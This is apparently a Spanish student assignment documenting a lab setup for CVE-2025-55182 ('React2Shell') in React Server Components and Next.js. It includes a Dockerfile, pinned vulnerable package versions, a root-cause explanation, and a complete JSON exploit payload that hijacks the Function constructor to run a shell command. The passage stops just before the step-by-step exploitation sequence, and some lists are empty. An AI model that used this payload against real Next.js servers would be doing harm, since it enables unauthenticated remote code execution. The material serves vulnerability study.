
también conocido como React2Shell
Las secciones requeridas por las pautas de la asignación están marcadas con “(Obligatorio)”.
Este entorno utiliza un Dockerfile personalizado basado en la imagen oficial de Node.js Alpine.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
El Dockerfile construye un entorno vulnerable de React Server Components (RSC) y Next.js App Router.
El entorno instala versiones vulnerables de:
El servidor vulnerable se ejecuta en modo de desarrollo usando npm run dev.
El servidor vulnerable se ejecuta en modo de desarrollo usando npm run dev.
El entorno opera utilizando la siguiente estructura:
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
El atacante envía una solicitud multipart/form-data especialmente manipulada a la aplicación Next.js vulnerable.
El payload malicioso abusa del proceso de deserialización del protocolo Flight de React.
La aplicación vulnerable utiliza la arquitectura App Router de Next.js.
La solicitud se procesa a través del pipeline de React Server Components.
El código fuente de la aplicación se almacena dentro del directorio src/app/.
src/
└── app/
├── layout.js
└── page.js
El archivo layout.js define el layout raíz requerido para la estructura de App Router e inicializa el entorno de React Server Components.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
El archivo page.js define la página raíz renderizada en / y muestra un mensaje simple que indica que el servidor vulnerable está en ejecución.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
Las dependencias del proyecto y los scripts de ejecución se gestionan a través del archivo package.json.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
Este archivo define versiones vulnerables de:
La aplicación vulnerable se ejecuta usando:
"scripts": {
"dev": "next dev"
}
El servidor se inicia mediante:
npm run dev
que lanza el servidor de desarrollo vulnerable de Next.js en el puerto 3000.
El protocolo Flight deserializa objetos complejos de React, como:
La vulnerabilidad ocurre durante este proceso de deserialización.
El runtime de React procesa payloads de Flight controlados por el atacante.
El recorrido inseguro de propiedades y el acceso al prototipo permiten finalmente a los atacantes secuestrar el constructor de Function.
Tras una explotación exitosa, se ejecuta código JavaScript arbitrario dentro del entorno del servidor Node.js.
Esto conduce a la ejecución remota de código (RCE).
| Componente | Versión |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
| react-server-dom-webpack | 19.0.0-rc |
El entorno utiliza implementaciones vulnerables de React Server Components y del protocolo Flight.
CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad crítica de ejecución remota de código (RCE) que afecta a React Server Components y al protocolo Flight de React.
La vulnerabilidad ocurre durante el proceso de deserialización de payloads del protocolo Flight controlados por el atacante.
El problema permite a los atacantes:
La vulnerabilidad es especialmente peligrosa porque la explotación puede ocurrir sin autenticación mediante una única solicitud HTTP manipulada.
Las aplicaciones que utilizan configuraciones vulnerables de React Server Components y Next.js App Router están directamente expuestas.
La causa raíz de la vulnerabilidad es el manejo inseguro de referencias a objetos controladas por el atacante durante la deserialización del protocolo Flight.
React Flight usa internamente cadenas de referencia especiales como:
$@0
$B1337
$1:__proto__:then
Estas referencias se resuelven recursivamente durante la deserialización.
La lógica vulnerable realiza un recorrido de propiedades similar a:
value[path[i]]
sin validar si la propiedad pertenece al propio objeto.
Como resultado, los atacantes pueden acceder a propiedades peligrosas de la cadena de prototipos de JavaScript como:
__proto__
constructor
prototype
Esto finalmente permite la contaminación de prototipos y el secuestro del constructor de Function.
El atacante primero crea un objeto chunk falso de React.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
El campo crítico es:
"status": "resolved_model"
El runtime de React confía incorrectamente en este campo y trata el objeto controlado por el atacante como un objeto chunk interno legítimo.
El payload:
$1:__proto__:then
hace que el deserializador recorra la cadena de prototipos de JavaScript.
Debido a que el código vulnerable no valida las propiedades peligrosas, el atacante obtiene acceso a:
Chunk.prototype.then
Esto transforma el chunk falso en un objeto thenable.
El payload:
$1:constructor:constructor
finalmente se resuelve a:
Function
Esto reemplaza:
response._formData.get
por el constructor global de Function de JavaScript.
Como resultado:
Function(attacker_controlled_payload)
se vuelve posible.
El payload:
$B1337
obliga al parser de Flight de React a entrar en la lógica de parseo de Blob.
Durante este proceso:
response._formData.get(...)
se ejecuta.
Sin embargo, el atacante ya reemplazó esta función con el constructor global de Function.
Esto finalmente resulta en la ejecución de JavaScript arbitrario dentro del runtime de Node.js.
El proceso de explotación ocurre en el siguiente orden: